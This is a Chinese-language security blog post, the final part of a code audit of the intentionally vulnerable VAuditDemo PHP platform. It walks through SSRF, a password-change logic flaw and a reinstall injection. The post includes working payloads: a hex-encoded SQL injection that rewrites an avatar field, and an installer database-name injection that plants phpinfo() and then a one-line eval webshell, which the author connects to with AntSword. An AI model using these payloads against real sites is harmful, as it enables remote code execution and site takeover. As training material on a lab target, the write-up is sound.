原创 | 记一次对VAuditDemo平台的代码审计(下)
关注我们
2.8 SSRF漏洞
在上面的任意文件读取漏洞中,由于有file_get_contents()
函数,可能存在SSRF漏洞。
2.8.1 漏洞利用
poc
将https://www.baidu.com
转换为十六进制
',user_avatar = 0x68747470733a2f2f7777772e62616964752e636f6d WHERE user_name = 'test'#.png
修改前的数据库
修改后
重新登录,用BurpSuite抓包,重放avatar.php文件
利用成功
在chrome浏览器中同样可以看到
avatar.php文件中存在SSRF漏洞
2.9 逻辑漏洞
普通用户密码修改处不需要原密码就可以修改密码
2.9.1 代码审计
后端根据user_id
修改密码,不需要原密码修可以修改,这样可能导致其它用户无意或者故意修改已登录的用户的密码。
2.10 重装漏洞
危险文件在/install/install.php和/sys/config.php中。
漏洞分析:
在/install/install.php中,通过POST传参接收并赋值给$dbname变量
在/sys/config.php中使用直接使用$dbname
在接收参数和使用参数的过程中,没有对参数进行任何的过滤,导致存在注入漏洞。
虽然没有任何检测,但是利用该漏洞的前提是要执行/sys/config.php中的sql语句,所以要能够创建一个数据库,在/install/install.php中有一条创建数据库的sql语句
如果创建不成功就无法执行/sys/config.php中的sql语句,所以构造的payload要符合sql的语法规则。可以利用闭合+注释的思路构造payoad,由于在MySQL中,注释符表示为--(空格)
,所以可以利用这点构造payload
exp;-- -";phpinfo();//
插入到/install/install.php中的sql语句中
mysql_query( "CREATE DATABASE exp;-- -";phpinfo();//", $con ) or die ( mysql_error() );
在/sys/config.php中
$database="exp;-- -";phpinfo();//";
安装环境
安装成功!
查看/sys/config.php文件
phpinfo()函数已经被植入文件中,访问该文件
在index页面可以看到phpinfo()函数被执行。
利用这个思路构造一句话木马,下面是构造木马的代码
system('echo ^<?php @eval($_POST[1]); ?^> > muma.php');
文件夹内除了12.php没有其它文件
访问该文件
浏览器中没有任何回显,但是在文件夹中多了muma.php文件
打开muma.php
发现一句话木马已经写入
测试成功了,将第一次测试的phpinfo();换成写入木马的代码,同时修改数据库名
exp001;-- -";system('echo ^<?php @eval($_POST[1]); ?^> > muma.php');//
安装
安装成功
在页面访问木马测试一下
木马可以访问到
用蚁剑连接
连接成功!
3.1 SQL注入漏洞
3.2 文件上传+文件包含漏洞
3.3 XSS漏洞
3.4 命令执行漏洞
3.5 水平越权漏洞
3.6 失效的会话管理漏洞
3.7 任意文件读取漏洞
3.8 SSRF漏洞
3.9 逻辑漏洞
3.10 重装漏洞
总结:漏洞问题大多是授信问题,如果我们对用户输入的任何数据都是零授信,就可以杜绝绝大多数漏洞。
往期推荐
原创 | 记一次对VAuditDemo平台的代码审计(中)